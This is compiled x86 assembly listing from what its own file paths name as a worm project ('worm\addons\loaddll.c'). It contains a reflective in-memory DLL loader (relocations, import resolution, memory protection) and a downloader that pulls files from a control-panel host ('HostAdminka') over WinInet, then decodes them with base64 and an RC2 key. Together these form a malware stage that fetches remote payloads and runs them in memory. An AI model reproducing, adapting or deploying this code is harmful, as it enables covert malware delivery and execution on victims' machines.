; section --> %edi
; i --> %esi
; module --> %ebx
	.type	_FinalizeSections,function
_FinalizeSections:
	pushl	%ebp
	movl	%esp,%ebp
	subl	$36,%esp
	pushl	%ebx
	pushl	%esi
	pushl	%edi
	.line	69
	movl	8(%ebp),%ebx
	.line	71
	movl	(,%ebx),%eax
	movzwl	20(%eax),%edx
	leal	24(%eax,%edx),%edi
	.line	73
	xor	%esi,%esi
	jmp	_$1259
_$1256:
	.line	77
	testl	$0x20000000,36(%edi)
	setne	%al
	andl	$1,%eax
	movl	%eax,-12(%ebp)
	.line	78
	testl	$0x40000000,36(%edi)
	setne	%al
	andl	$1,%eax
	movl	%eax,-16(%ebp)
	.line	79
	testl	$0x80000000,36(%edi)
	setne	%al
	andl	$1,%eax
	movl	%eax,-20(%ebp)
	.line	81
	testl	$0x2000000,36(%edi)
	jne	_$1257
	.line	84
_$1269:
	.line	87
	movl	-20(%ebp),%edx
	movl	-16(%ebp),%ecx
	movl	-12(%ebp),%eax
	shll	$4,%eax
	leal	_ProtectionFlags(%eax,%ecx,8),%ecx
	movl	(%ecx,%edx,4),%edx
	movl	%edx,-8(%ebp)
	.line	89
	testl	$0x4000000,36(%edi)
	je	_$1271
	.line	91
	orw	$512,-8(%ebp)
_$1271:
	.line	94
	movl	16(%edi),%eax
	movl	%eax,-4(%ebp)
	.line	96
	test	%eax,%eax
	jne	_$1273
	.line	98
	testb	$64,36(%edi)
	je	_$1275
	.line	100
	movl	(,%ebx),%eax
	movl	32(%eax),%eax
	movl	%eax,-4(%ebp)
	jmp	_$1273
_$1275:
	.line	102
	testb	$128,36(%edi)
	je	_$1273
	.line	104
	movl	(,%ebx),%eax
	movl	36(%eax),%eax
	movl	%eax,-4(%ebp)
	.line	106
_$1273:
	.line	108
	cmpl	$0,-4(%ebp)
	je	_$1257
	.line	110
	leal	-24(%ebp),%eax
	pushl	%eax
	pushl	-8(%ebp)
	pushl	16(%edi)
	pushl	8(%edi)
	call	*__VirtualProtect
	or	%eax,%eax
	je	_$1255
	.line	112
_$1281:
	.line	114
	.line	115
_$1257:
	.line	73
	incl	%esi
	addl	$40,%edi
_$1259:
	movl	(,%ebx),%eax
	movzwl	6(%eax),%eax
	cmpl	%eax,%esi
	jl	_$1256
	.line	116
_$1255:
	popl	%edi
	popl	%esi
	popl	%ebx
	leave
	ret
_$1285:
	.size	_FinalizeSections,_$1285-_FinalizeSections
	.globl	_FinalizeSections
; i --> %edi
; i --> %edi
; codeBase --> %esi
; delta --> %ebx
	.type	_PerformBaseRelocation,function
_PerformBaseRelocation:
	pushl	%ebp
	movl	%esp,%ebp
	subl	$28,%esp
	pushl	%ebx
	pushl	%esi
	.line	119
	movl	12(%ebp),%ebx
	.line	121
	movl	8(%ebp),%eax
	movl	4(%eax),%esi
	.line	123
	movl	(,%eax),%eax
	movl	%eax,%ecx
	addl	$160,%ecx
	.line	125
	cmpl	$0,4(%ecx)
	je	_$1287
	.line	127
	movl	(,%ecx),%eax
	addl	%esi,%eax
	movl	%eax,-4(%ebp)
	.line	129
	jmp	_$1292
_$1289:
	.line	131
	movl	-4(%ebp),%eax
	movl	(,%eax),%eax
	addl	%esi,%eax
	movl	%eax,-12(%ebp)
	.line	132
	movl	-4(%ebp),%eax
	addl	$8,%eax
	movl	%eax,-8(%ebp)
	.line	134
	xor	%ecx,%ecx
	jmp	_$1296
_$1293:
	.line	139
	movl	-8(%ebp),%edx
	movzwl	(,%edx),%edx
	sarl	$12,%edx
	movl	%edx,-16(%ebp)
	.line	140
	movl	-8(%ebp),%eax
	movzwl	(,%eax),%eax
	andl	$4095,%eax
	movl	%eax,-20(%ebp)
	.line	142
	movl	%edx,%eax
	or	%eax,%eax
	je	_$1298
	cmpl	$3,%eax
	jne	_$1298
	.line	145
_$1301:
	.line	148
	movl	-20(%ebp),%eax
	addl	-12(%ebp),%eax
	movl	%eax,-24(%ebp)
	.line	149
	addl	%ebx,(,%eax)
	.line	153
_$1298:
	.line	155
	.line	134
	incl	%ecx
	addl	$2,-8(%ebp)
_$1296:
	movl	-4(%ebp),%edx
	movl	4(%edx),%edx
	subl	$8,%edx
	shrl	$1,%edx
	cmpl	%edx,%ecx
	jb 	_$1293
	.line	157
	movl	-4(%ebp),%eax
	movl	%eax,%edx
	addl	4(%eax),%edx
	movl	%edx,-4(%ebp)
	.line	129
_$1292:
	movl	-4(%ebp),%eax
	cmpl	$0,(,%eax)
	jne	_$1289
	.line	159
_$1287:
	.line	160
	popl	%esi
	popl	%ebx
	leave
	ret
_$1304:
	.size	_PerformBaseRelocation,_$1304-_PerformBaseRelocation
	.globl	_PerformBaseRelocation
; codeBase --> %edi
; importDesc --> %esi
; importDesc --> %esi
; result --> %ebx
	.type	_BuildImportTable,function
_BuildImportTable:
	pushl	%ebp
	movl	%esp,%ebp
	subl	$20,%esp
	pushl	%ebx
	pushl	%esi
	pushl	%edi
	.line	163
	.line	164
	xor	%ebx,%ebx
	inc	%ebx
	.line	165
	movl	8(%ebp),%eax
	movl	4(%eax),%edi
	.line	167
	movl	(,%eax),%eax
	movl	%eax,%esi
	addl	$128,%esi
	.line	169
	cmpl	$0,4(%esi)
	jne	_$1306
	.line	170
	xor	%eax,%eax
	jmp	_$1305
_$1306:
	.line	173
	movl	(,%esi),%eax
	movl	%eax,%esi
	addl	%edi,%esi
	.line	175
	jmp	_$1311
_$1308:
	.line	178
	movl	12(%esi),%eax
	addl	%edi,%eax
	pushl	%eax
	call	*__LoadLibrary
	movl	%eax,-12(%ebp)
	.line	180
	cmpl	$0xffffffff,%eax
	jne	_$1312
	.line	182
	xor	%ebx,%ebx
	.line	183
	jmp	_$1310
_$1312:
	.line	186
	movl	8(%ebp),%eax
	movl	208(%eax),%edx
	incl	208(%eax)
	movl	%eax,%ecx
	movl	-12(%ebp),%eax
	movl	%eax,8(%ecx,%edx,4)
	.line	187
	cmpl	$0,(,%esi)
	je	_$1314
	.line	189
	movl	(,%esi),%eax
	addl	%edi,%eax
	movl	%eax,-4(%ebp)
	.line	190
	movl	16(%esi),%eax
	addl	%edi,%eax
	movl	%eax,-8(%ebp)
	jmp	_$1319
_$1314:
	.line	191
	.line	192
	movl	16(%esi),%eax
	addl	%edi,%eax
	movl	%eax,-4(%ebp)
	.line	193
	movl	16(%esi),%eax
	addl	%edi,%eax
	movl	%eax,-8(%ebp)
	.line	195
	jmp	_$1319
_$1316:
	.line	197
	movl	-4(%ebp),%eax
	testl	$0x80000000,(,%eax)
	je	_$1320
	.line	199
	movzwl	(,%eax),%eax
	pushl	%eax
	pushl	-12(%ebp)
	call	*__GetProcAddress
	movl	-8(%ebp),%edx
	movl	%eax,(,%edx)
	jmp	_$1321
_$1320:
	.line	202
	.line	203
	movl	-4(%ebp),%eax
	movl	(,%eax),%eax
	addl	%edi,%eax
	movl	%eax,-20(%ebp)
	.line	205
	addl	$2,%eax
	pushl	%eax
	pushl	-12(%ebp)
	call	*__GetProcAddress
	movl	%eax,-16(%ebp)
	or	%eax,%eax
	je	_$1321
	.line	207
	movl	-8(%ebp),%ecx
	movl	(,%ecx),%edx
	cmpl	%edx,%eax
	je	_$1321
	.line	208
	movl	%ecx,%eax
	movl	-16(%ebp),%edx
	movl	%edx,(,%eax)
	.line	209
	.line	210
_$1321:
	.line	211
	movl	-8(%ebp),%eax
	cmpl	$0,(,%eax)
	jne	_$1326
	.line	213
	xor	%ebx,%ebx
	.line	214
	jmp	_$1318
_$1326:
	.line	216
	.line	195
	addl	$4,-4(%ebp)
	addl	$4,-8(%ebp)
_$1319:
	movl	-4(%ebp),%eax
	cmpl	$0,(,%eax)
	jne	_$1316
_$1318:
	.line	218
	or	%ebx,%ebx
	je	_$1310
	.line	219
_$1328:
	.line	220
	.line	175
	addl	$20,%esi
_$1311:
	pushl	$20
	pushl	%esi
	call	*__IsBadReadPtr
	or	%eax,%eax
	jne	_$1310
	cmpl	%eax,12(%esi)
	jne	_$1308
_$1310:
	.line	222
	movl	%ebx,%eax
_$1305:
	.line	223
	popl	%edi
	popl	%esi
	popl	%ebx
	leave
	ret
_$1338:
	.size	_BuildImportTable,_$1338-_BuildImportTable
	.globl	_BuildImportTable
; module --> %edi
; i --> %esi
	.type	_MemoryFreeLibrary,function
_MemoryFreeLibrary:
	pushl	%ebp
	movl	%esp,%ebp
	pushl	%ecx
	pushl	%esi
	pushl	%edi
	.line	226
	.line	228
	movl	8(%ebp),%edi
	.line	230
	or	%edi,%edi
	je	_$1340
	.line	232
	cmpl	$0,212(%edi)
	je	_$1342
	.line	234
	movl	(,%edi),%eax
	movl	40(%eax),%eax
	addl	4(%edi),%eax
	movl	%eax,-4(%ebp)
	.line	235
	pushl	$0
	pushl	$0
	pushl	4(%edi)
	call	*-4(%ebp)
	.line	236
	andl	$0,212(%edi)
_$1342:
	.line	239
	movl	%edi,%eax
	addl	$8,%eax
	or	%eax,%eax
	je	_$1344
	.line	241
	xor	%esi,%esi
	jmp	_$1349
_$1346:
	.line	242
	cmpl	$0xffffffff,8(%edi,%esi,4)
	je	_$1350
	.line	243
	pushl	8(%edi,%esi,4)
	call	_FreeLibrary@4
_$1350:
	.line	241
	incl	%esi
_$1349:
	cmpl	208(%edi),%esi
	jl	_$1346
	.line	245
_$1344:
	.line	247
	cmpl	$0,4(%edi)
	je	_$1352
	.line	248
	pushl	$0x8000
	pushl	$0
	pushl	4(%edi)
	call	_VirtualFree@12
_$1352:
	.line	250
	pushl	%edi
	call	_u_free
	popl	%ecx
_$1340:
	.line	252
	popl	%edi
	popl	%esi
	leave
	ret
_$1354:
	.size	_MemoryFreeLibrary,_$1354-_MemoryFreeLibrary
	.globl	_MemoryFreeLibrary
; result --> %edi
; code --> %esi
; old_header --> %ebx
	.type	_MemoryLoadLibrary,function
_MemoryLoadLibrary:
	pushl	%ebp
	movl	%esp,%ebp
	subl	$20,%esp
	pushl	%ebx
	pushl	%esi
	pushl	%edi
	.line	255
	.line	264
	movl	8(%ebp),%eax
	movl	%eax,-4(%ebp)
	.line	265
	cmpw	$23117,(,%eax)
	je	_$1356
	.line	267
	xor	%eax,%eax
	jmp	_$1355
_$1356:
	.line	270
	movl	-4(%ebp),%eax
	movl	60(%eax),%eax
	movl	%eax,%ebx
	addl	8(%ebp),%ebx
	.line	271
	cmpl	$17744,(,%ebx)
	je	_$1358
	.line	273
	xor	%eax,%eax
	jmp	_$1355
_$1358:
	.line	276
	pushl	$4
	pushl	$4096
	pushl	80(%ebx)
	pushl	52(%ebx)
	call	*__VirtualAlloc
	movl	%eax,%esi
	.line	281
	or	%esi,%esi
	jne	_$1360
	.line	282
	pushl	$4
	pushl	$4096
	pushl	80(%ebx)
	pushl	$0
	call	*__VirtualAlloc
	movl	%eax,%esi
_$1360:
	.line	287
	or	%esi,%esi
	jne	_$1362
	.line	289
	xor	%eax,%eax
	jmp	_$1355
_$1362:
	.line	291
	pushl	$1
	pushl	$216
	call	_u_alloc
	movl	%eax,%edi
	.line	292
	movl	%esi,4(%edi)
	.line	293
	andl	$0,208(%edi)
	.line	294
	andl	$0,212(%edi)
	.line	301
	movl	%esi,-8(%ebp)
	.line	307
	movl	-4(%ebp),%eax
	movl	60(%eax),%edx
	addl	84(%ebx),%edx
	pushl	%edx
	pushl	%eax
	pushl	%esi
	call	_u_memcpy
	.line	308
	movl	-4(%ebp),%eax
	movl	60(%eax),%eax
	addl	%esi,%eax
	movl	%eax,(,%edi)
	.line	310
	movl	%esi,52(%eax)
	.line	312
	pushl	%edi
	pushl	%ebx
	pushl	8(%ebp)
	call	_CopySections
	addl	$32,%esp
	.line	314
	movl	%esi,%eax
	subl	52(%ebx),%eax
	movl	%eax,-12(%ebp)
	.line	315
	test	%eax,%eax
	je	_$1364
	.line	316
	pushl	%eax
	pushl	%edi
	call	_PerformBaseRelocation
	addl	$8,%esp
_$1364:
	.line	319
	pushl	%edi
	call	_BuildImportTable
	popl	%ecx
	or	%eax,%eax
	je	_$1368
	.line	320
_$1366:
	.line	323
	pushl	%edi
	call	_FinalizeSections
	popl	%ecx
	.line	325
	movl	(,%edi),%eax
	cmpl	$0,40(%eax)
	je	_$1369
	.line	327
	movl	(,%edi),%eax
	movl	40(%eax),%eax
	addl	%esi,%eax
	movl	%eax,-16(%ebp)
	.line	328
	test	%eax,%eax
	je	_$1368
	.line	330
_$1371:
	.line	333
	pushl	$0
	pushl	$1
	pushl	%esi
	call	*-16(%ebp)
	movl	%eax,-20(%ebp)
	.line	335
	test	%eax,%eax
	je	_$1368
	.line	337
_$1373:
	.line	340
	movl	$1,212(%edi)
_$1369:
	.line	343
	movl	%edi,%eax
	jmp	_$1355
_$1368:
	.line	346
	pushl	%edi
	call	_MemoryFreeLibrary
	popl	%ecx
	.line	347
	xor	%eax,%eax
_$1355:
	.line	348
	popl	%edi
	popl	%esi
	popl	%ebx
	leave
	ret
_$1381:
	.size	_MemoryLoadLibrary,_$1381-_MemoryLoadLibrary
	.globl	_MemoryLoadLibrary
; nameRef --> %edi
; nameRef --> %edi
; i --> %esi
; ordinal --> %ebx
	.type	_MemoryGetProcAddress@8,function
_MemoryGetProcAddress@8:
	pushl	%ebp
	movl	%esp,%ebp
	subl	$12,%esp
	pushl	%ebx
	pushl	%esi
	pushl	%edi
	.line	351
	.line	352
	movl	8(%ebp),%eax
	movl	4(%eax),%ecx
	movl	%ecx,-8(%ebp)
	.line	353
	orl	$-1,-12(%ebp)
	.line	357
	movl	(,%eax),%eax
	movl	%eax,%edi
	addl	$120,%edi
	.line	358
	cmpl	$0,4(%edi)
	jne	_$1383
	.line	359
	xor	%eax,%eax
	jmp	_$1382
_$1383:
	.line	361
	movl	(,%edi),%eax
	addl	-8(%ebp),%eax
	movl	%eax,-4(%ebp)
	.line	362
	cmpl	$0,24(%eax)
	je	_$1387
	cmpl	$0,20(%eax)
	jne	_$1385
_$1387:
	.line	363
	xor	%eax,%eax
	jmp	_$1382
_$1385:
	.line	365
	movl	-4(%ebp),%eax
	movl	32(%eax),%ecx
	movl	%ecx,%edi
	addl	-8(%ebp),%edi
	.line	366
	movl	36(%eax),%eax
	movl	%eax,%ebx
	addl	-8(%ebp),%ebx
	.line	368
	xor	%esi,%esi
	jmp	_$1391
_$1388:
	.line	369
	movl	(,%edi),%eax
	addl	-8(%ebp),%eax
	pushl	%eax
	pushl	12(%ebp)
	call	_lstrcmpiA@8
	or	%eax,%eax
	jne	_$1392
	.line	371
	movzwl	(,%ebx),%eax
	movl	%eax,-12(%ebp)
	.line	372
	jmp	_$1390
_$1392:
	.line	368
	incl	%esi
	addl	$4,%edi
	addl	$2,%ebx
_$1391:
	movl	-4(%ebp),%eax
	cmpl	24(%eax),%esi
	jb 	_$1388
_$1390:
	.line	375
	cmpl	$-1,-12(%ebp)
	jne	_$1394
	.line	376
	xor	%eax,%eax
	jmp	_$1382
_$1394:
	.line	378
	movl	-4(%ebp),%eax
	movl	20(%eax),%eax
	cmpl	%eax,-12(%ebp)
	jbe	_$1396
	.line	379
	xor	%eax,%eax
	jmp	_$1382
_$1396:
	.line	381
	movl	-8(%ebp),%ebx
	movl	-12(%ebp),%edx
	movl	-4(%ebp),%ecx
	movl	28(%ecx),%ecx
	addl	%ebx,%ecx
	movl	(%ecx,%edx,4),%edx
	movl	%edx,%eax
	addl	%ebx,%eax
_$1382:
	.line	382
	popl	%edi
	popl	%esi
	popl	%ebx
	leave
	ret	$8
_$1402:
	.size	_MemoryGetProcAddress@8,_$1402-_MemoryGetProcAddress@8
	.globl	_MemoryGetProcAddress@8
	.file	"e:\projects\progs\petrosjan\bjwj\worm\addons\loaddll.h"
_$M158:
	.file	"e:\projects\progs\petrosjan\bjwj\worm\addons\loaddll.c"
_$M159:
	.data
	.globl	_UserAgent
	.align	2
	.type	_UserAgent,object
_UserAgent:
	.long	0x0
	.globl	_RC2_Password
	.align	2
	.type	_RC2_Password,object
_RC2_Password:
	.long	_$1403
	.globl	_HostAdminka
	.align	2
	.type	_HostAdminka,object
_HostAdminka:
	.long	_$1404
	.globl	_SETFolderExts
	.align	2
	.type	_SETFolderExts,object
_SETFolderExts:
	.long	_$1405
	.long	_$1406
	.long	_$1407
	.long	_$1408
	.long	_$1409
	.text
; i --> %esi
; i --> %esi
; symbols --> %ebx
	.type	_LoadFileFromAdminka,function
_LoadFileFromAdminka:
	pushl	%ebp
	movl	%esp,%ebp
	subl	$132,%esp
	pushl	%ebx
	pushl	%esi
	pushl	%edi
	.line	34
	.line	35
	andl	$0,-104(%ebp)
	.line	36
	andl	$0,-100(%ebp)
	.line	39
	pushl	$64
	pushl	$57
	call	_u_rand_range
	addl	$8,%esp
	movl	%eax,%ebx
	.line	40
	xor	%esi,%esi
	jmp	_$1414
_$1411:
	.line	41
	pushl	$122
	pushl	$97
	call	_u_rand_range
	addl	$8,%esp
	movl	%ax,%dx
	movb	%dl,-96(%ebp,%esi)
	.line	40
	incl	%esi
_$1414:
	cmpl	%ebx,%esi
	jl	_$1411
	.line	42
	movb	$0,-96(%ebp,%ebx)
	.line	43
	call	_u_rand
	movl	$5,%ecx
	xorl	%edx,%edx
	divl	%ecx
	pushl	_SETFolderExts(,%edx,4)
	leal	-96(%ebp),%edi
	pushl	%edi
	call	*__lstrcatA
	.line	44
	pushl	$3
	pushl	$_$1415
	leal	-100(%ebp),%eax
	pushl	%eax
	leal	-96(%ebp),%eax
	pushl	%eax
	pushl	_HostAdminka
	call	_LoadFileFromInet
	addl	$20,%esp
	movl	%eax,%esi
	.line	45
	or	%esi,%esi
	je	_$1416
	.line	46
	andl	$0,-116(%ebp)
	.line	47
	leal	-116(%ebp),%eax
	pushl	%eax
	pushl	-100(%ebp)
	pushl	%esi
	call	_DecodeData
	movl	%eax,-112(%ebp)
	.line	49
	pushl	8(%ebp)
	pushl	%eax
	call	_u_istrstr
	addl	$20,%esp
	movl	%eax,-108(%ebp)
	.line	50
	test	%eax,%eax
	je	_$1418
	.line	51
	pushl	8(%ebp)
	call	*__lstrlen
	movl	%eax,-120(%ebp)
	.line	52
	addl	-108(%ebp),%eax
	movl	%eax,-108(%ebp)
	.line	53
	cmpb	$124,(,%eax)
	jne	_$1418
	.line	54
	incl	-108(%ebp)
	.line	55
	pushl	$10
	pushl	-108(%ebp)
	call	_u_strchr
	addl	$8,%esp
	movl	%eax,-128(%ebp)
	.line	56
	test	%eax,%eax
	je	_$1422
	movb	$0,(,%eax)
_$1422:
	.line	58
	pushl	$0
	pushl	$0
	leal	-132(%ebp),%eax
	pushl	%eax
	pushl	-108(%ebp)
	pushl	_HostAdminka
	call	_LoadFileFromInet
	addl	$20,%esp
	movl	%eax,-124(%ebp)
	.line	59
	test	%eax,%eax
	je	_$1418
	.line	60
	pushl	12(%ebp)
	pushl	-132(%ebp)
	pushl	%eax
	call	_DecodeData
	movl	%eax,-104(%ebp)
	.line	61
	pushl	-124(%ebp)
	call	_u_free
	addl	$16,%esp
	.line	63
	.line	64
_$1418:
	.line	65
	pushl	-112(%ebp)
	call	_u_free
	popl	%ecx
_$1416:
	.line	67
	pushl	%esi
	call	_u_free
	popl	%ecx
	.line	68
	movl	-104(%ebp),%eax
	.line	69
	popl	%edi
	popl	%esi
	popl	%ebx
	leave
	ret
_$1436:
	.size	_LoadFileFromAdminka,_$1436-_LoadFileFromAdminka
	.globl	_LoadFileFromAdminka
; ret --> %edi
; size --> %esi
; request --> %ebx
	.type	_LoadFileFromRequest,function
_LoadFileFromRequest:
	pushl	%ebp
	movl	%esp,%ebp
	subl	$1032,%esp
	pushl	%ebx
	pushl	%esi
	pushl	%edi
	.line	72
	movl	8(%ebp),%ebx
	movl	12(%ebp),%esi
	.line	74
	andl	$0,-4(%ebp)
	.line	75
	andl	$0,(,%esi)
	.line	76
	xor	%edi,%edi
_$1438:
	.line	78
	leal	-4(%ebp),%eax
	pushl	%eax
	pushl	$1024
	leal	-1028(%ebp),%eax
	pushl	%eax
	pushl	%ebx
	call	*__InternetReadFile
	.line	79
	cmpl	$0,-4(%ebp)
	je	_$1441
	.line	80
	pushl	$0
	movl	(,%esi),%eax
	addl	-4(%ebp),%eax
	pushl	%eax
	call	_u_alloc
	addl	$8,%esp
	movl	%eax,-1032(%ebp)
	.line	81
	or	%edi,%edi
	je	_$1443
	pushl	(,%esi)
	pushl	%edi
	pushl	%eax
	call	_u_memcpy
	addl	$12,%esp
_$1443:
	.line	82
	pushl	-4(%ebp)
	leal	-1028(%ebp),%eax
	pushl	%eax
	movl	(,%esi),%eax
	addl	-1032(%ebp),%eax
	pushl	%eax
	call	_u_memcpy
	.line	83
	movl	-4(%ebp),%eax
	addl	%eax,(,%esi)
	.line	84
	pushl	%edi
	call	_u_free
	addl	$16,%esp
	.line	85
	movl	-1032(%ebp),%edi
_$1441:
	.line	87
	cmpl	$1024,-4(%ebp)
	je	_$1438
	.line	88
	movl	%edi,%eax
	.line	89
	popl	%edi
	popl	%esi
	popl	%ebx
	leave
	ret
_$1446:
	.size	_LoadFileFromRequest,_$1446-_LoadFileFromRequest
	.globl	_LoadFileFromRequest
; inet --> %edi
; inet --> %edi
; ret --> %esi
	.type	_LoadFileFromInet,function
_LoadFileFromInet:
	pushl	%ebp
	movl	%esp,%ebp
	subl	$524,%esp
	pushl	%ebx
	pushl	%esi
	pushl	%edi
	.line	92
	.line	93
	xor	%esi,%esi
	.line	94
	movl	16(%ebp),%eax
	andl	$0,(,%eax)
	.line	96
	movl	_UserAgent,%edi
	.line	97
	test	%edi,%edi
	jne	_$1448
	.line	98
	movl	$512,-516(%ebp)
	.line	99
	leal	-516(%ebp),%eax
	pushl	%eax
	leal	-512(%ebp),%eax
	pushl	%eax
	pushl	$0
	call	*__ObtainUserAgentString
	.line	100
	leal	-512(%ebp),%edi
_$1448:
	.line	102
	pushl	$0
	pushl	$0
	pushl	$0
	pushl	$0
	pushl	%edi
	call	*__InternetOpenA
	movl	%eax,%edi
	.line	103
	or	%edi,%edi
	je	_$1450
	.line	104
	pushl	$1
	pushl	$0
	pushl	$3
	pushl	$0
	pushl	$0
	pushl	$80
	pushl	8(%ebp)
	pushl	%edi
	call	*__InternetConnectA
	movl	%eax,-516(%ebp)
	.line	105
	test	%eax,%eax
	je	_$1452
	.line	107
	pushl	$1
	pushl	$0
	pushl	$0
	pushl	$0
	pushl	$0
	pushl	12(%ebp)
	cmpl	$0,20(%ebp)
	je	_$1456
	leal	_$1454,%ebx
	jmp	_$1457
_$1456:
	xor	%ebx,%ebx
_$1457:
	pushl	%ebx
	pushl	-516(%ebp)
	call	*__HttpOpenRequestA
	movl	%eax,-520(%ebp)
	.line	108
	test	%eax,%eax
	je	_$1458
	.line	110
	cmpl	$0,20(%ebp)
	je	_$1460
	.line	111
	pushl	$0x20000000
	pushl	$0xffffffff
	pushl	$_$1462
	pushl	%eax
	call	*__HttpAddRequestHeadersA
	.line	112
	pushl	$0x20000000
	pushl	$0xffffffff
	pushl	$_$1463
	pushl	-520(%ebp)
	call	*__HttpAddRequestHeadersA
	.line	113
	pushl	$0x20000000
	pushl	$0xffffffff
	pushl	$_$1464
	pushl	-520(%ebp)
	call	*__HttpAddRequestHeadersA
_$1460:
	.line	115
	pushl	24(%ebp)
	pushl	20(%ebp)
	pushl	$0
	pushl	$0
	pushl	-520(%ebp)
	call	*__HttpSendRequestA
	movl	%eax,-524(%ebp)
	.line	116
	test	%eax,%eax
	je	_$1465
	.line	117
	pushl	16(%ebp)
	pushl	-520(%ebp)
	call	_LoadFileFromRequest
	addl	$8,%esp
	movl	%eax,%esi
_$1465:
	.line	119
	pushl	-520(%ebp)
	call	*__InternetCloseHandle
_$1458:
	.line	121
	pushl	-516(%ebp)
	call	*__InternetCloseHandle
_$1452:
	.line	123
	pushl	%edi
	call	*__InternetCloseHandle
_$1450:
	.line	125
	movl	%esi,%eax
	.line	126
	popl	%edi
	popl	%esi
	popl	%ebx
	leave
	ret
_$1476:
	.size	_LoadFileFromInet,_$1476-_LoadFileFromInet
	.globl	_LoadFileFromInet
; p --> %edi
; p --> %edi
; p2 --> %esi
; ca --> %ebx
	.type	_DecodeData,function
_DecodeData:
	pushl	%ebp
	movl	%esp,%ebp
	subl	$20,%esp
	pushl	%ebx
	pushl	%esi
	pushl	%edi
	.line	129
	.line	131
	movl	16(%ebp),%eax
	andl	$0,(,%eax)
	.line	133
	movl	8(%ebp),%eax
	movl	(,%eax),%eax
	movl	%eax,-8(%ebp)
	.line	134
	movl	12(%ebp),%eax
	movl	8(%ebp),%edx
	leal	-1(%eax,%edx),%eax
	movl	%eax,%esi
	movl	%eax,%edi
	jmp	_$1479
_$1478:
	.line	135
	decl	%edi
_$1479:
	cmpb	$61,(,%edi)
	je	_$1478
	.line	136
	movl	%esi,%ebx
	subl	%edi,%ebx
	.line	137
	addl	$-3,%edi
	.line	138
	movl	(,%edi),%eax
	movl	%eax,-4(%ebp)
	jmp	_$1483
_$1482:
	.line	139
	movl	%edi,%eax
	incl	%edi
	movl	%esi,%edx
	decl	%esi
	movb	(,%edx),%dl
	movb	%dl,(,%eax)
_$1483:
	movl	%ebx,%eax
	decl	%ebx
	or	%eax,%eax
	jne	_$1482
	.line	140
	subl	$8,12(%ebp)
	.line	141
	pushl	12(%ebp)
	movl	8(%ebp),%eax
	movl	%eax,%edx
	addl	$4,%edx
	pushl	%edx
	pushl	%eax
	call	_u_memcpy
	.line	143
	pushl	$0
	pushl	12(%ebp)
	call	_u_alloc
	movl	%eax,%edi
	.line	144
	movl	12(%ebp),%eax
	movl	%eax,-12(%ebp)
	.line	145
	pushl	$0
	pushl	$0
	leal	-12(%ebp),%eax
	pushl	%eax
	pushl	%edi
	pushl	$1
	pushl	12(%ebp)
	pushl	8(%ebp)
	call	*__CryptStringToBinaryA
	.line	150
	leal	-16(%ebp),%eax
	pushl	%eax
	leal	-20(%ebp),%eax
	pushl	%eax
	leal	-8(%ebp),%eax
	pushl	%eax
	pushl	_RC2_Password
	call	_GenerateKey
	addl	$36,%esp
	or	%eax,%eax
	je	_$1485
	.line	151
	leal	-12(%ebp),%eax
	pushl	%eax
	pushl	%edi
	pushl	$0
	pushl	$1
	pushl	$0
	pushl	-16(%ebp)
	call	*__CryptDecrypt
	or	%eax,%eax
	je	_$1487
	.line	152
	movl	-12(%ebp),%eax
	movb	$0,(%edi,%eax)
	.line	153
	movl	16(%ebp),%eax
	movl	-12(%ebp),%edx
	movl	%edx,(,%eax)
	jmp	_$1488
_$1487:
	.line	155
	.line	156
	pushl	%edi
	call	_u_free
	popl	%ecx
	.line	157
	xor	%edi,%edi
_$1488:
	.line	160
	pushl	-16(%ebp)
	call	*__CryptDestroyKey
	.line	161
	pushl	$0
	pushl	-20(%ebp)
	call	*__CryptReleaseContext
_$1485:
	.line	164
	movl	%edi,%eax
	.line	165
	popl	%edi
	popl	%esi
	popl	%ebx
	leave
	ret
_$1498:
	.size	_DecodeData,_$1498-_DecodeData
	.globl	_DecodeData
; provider --> %edi
; key --> %esi
	.type	_GenerateKey,function
_GenerateKey:
	pushl	%ebp
	movl	%esp,%ebp
	subl	$84,%esp
	pushl	%ebx
	pushl	%esi
	pushl	%edi
	.line	176
	movl	16(%ebp),%edi
	movl	20(%ebp),%esi
	.line	177
	andl	$0,(,%edi)
	.line	178
	andl	$0,(,%esi)
	.line	181
	pushl	$0xf0000000
	pushl	$1
	pushl	$0
	pushl	$0
	pushl	%edi
	call	*__CryptAcquireContextA
	movl	%ax,%bx
	cmpb	$0,%bl
	je	_$1501
	.line	185
	pushl	$76
	pushl	$0
	leal	-76(%ebp),%eax
	pushl	%eax
	call	_u_memset
	.line	186
	movb	$8,-76(%ebp)
	.line	187
	movb	$2,-75(%ebp)
	.line	188
	movl	$26114,-72(%ebp)
	.line	190
	pushl	8(%ebp)
	call	_lstrlenA@4
	movl	%eax,-68(%ebp)
	.line	191
	pushl	%eax
	pushl	8(%ebp)
	leal	-64(%ebp),%eax
	pushl	%eax
	call	_u_memcpy
	addl	$24,%esp
	.line	193
	pushl	%esi
	pushl	$0
	pushl	$0
	pushl	$76
	leal	-76(%ebp),%eax
	pushl	%eax
	pushl	(,%edi)
	call	*__CryptImportKey
	or	%eax,%eax
	je	_$1508
	.line	196
	pushl	$0
	pushl	12(%ebp)
	pushl	$1
	pushl	(,%esi)
	call	*__CryptSetKeyParam
	or	%eax,%eax
	je	_$1510
	.line	198
	movl	$1,-80(%ebp)
	.line	199
	pushl	$0
	leal	-80(%ebp),%eax
	pushl	%eax
	pushl	$4
	pushl	(,%esi)
	call	*__CryptSetKeyParam
	or	%eax,%eax
	je	_$1510
	.line	201
	movl	$1,-84(%ebp)
	.line	202
	pushl	$0
	leal	-84(%ebp),%eax
	pushl	%eax
	pushl	$3
	pushl	(,%esi)
	call	*__CryptSetKeyParam
	or	%eax,%eax
	je	_$1510
	.line	203
	xor	%eax,%eax
	inc	%eax
	jmp	_$1500
	.line	204
	.line	205
_$1510:
	.line	206
	pushl	(,%esi)
	call	*__CryptDestroyKey
_$1508:
	.line	208
	pushl	$0
	pushl	(,%edi)
	call	*__CryptReleaseContext
_$1501:
	.line	210
	xor	%eax,%eax
_$1500:
	.line	211
	popl	%edi
	popl	%esi
	popl	%ebx
	leave
	ret
_$1523:
	.size	_GenerateKey,_$1523-_GenerateKey
	.globl	_GenerateKey
	.file	"e:\projects\progs\petrosjan\bjwj\worm\addons\util.c"
_$M160:
	.type	_u_alloc,function
_u_alloc:
	pushl	%ebp
	movl	%esp,%ebp
	pushl	%edi
	.line	4
	.line	5
	pushl	8(%ebp)
	xorl	%edi,%edi
	cmpl	%edi,12(%ebp)
	xchgl	%edi,%eax
	sete	%al
	xchgl	%eax,%edi
	decl	%edi
	andl	$64,%edi
	pushl	%edi
	call	*__LocalAlloc
	.line	6
	popl	%edi
	popl	%ebp
	ret
_$1529:
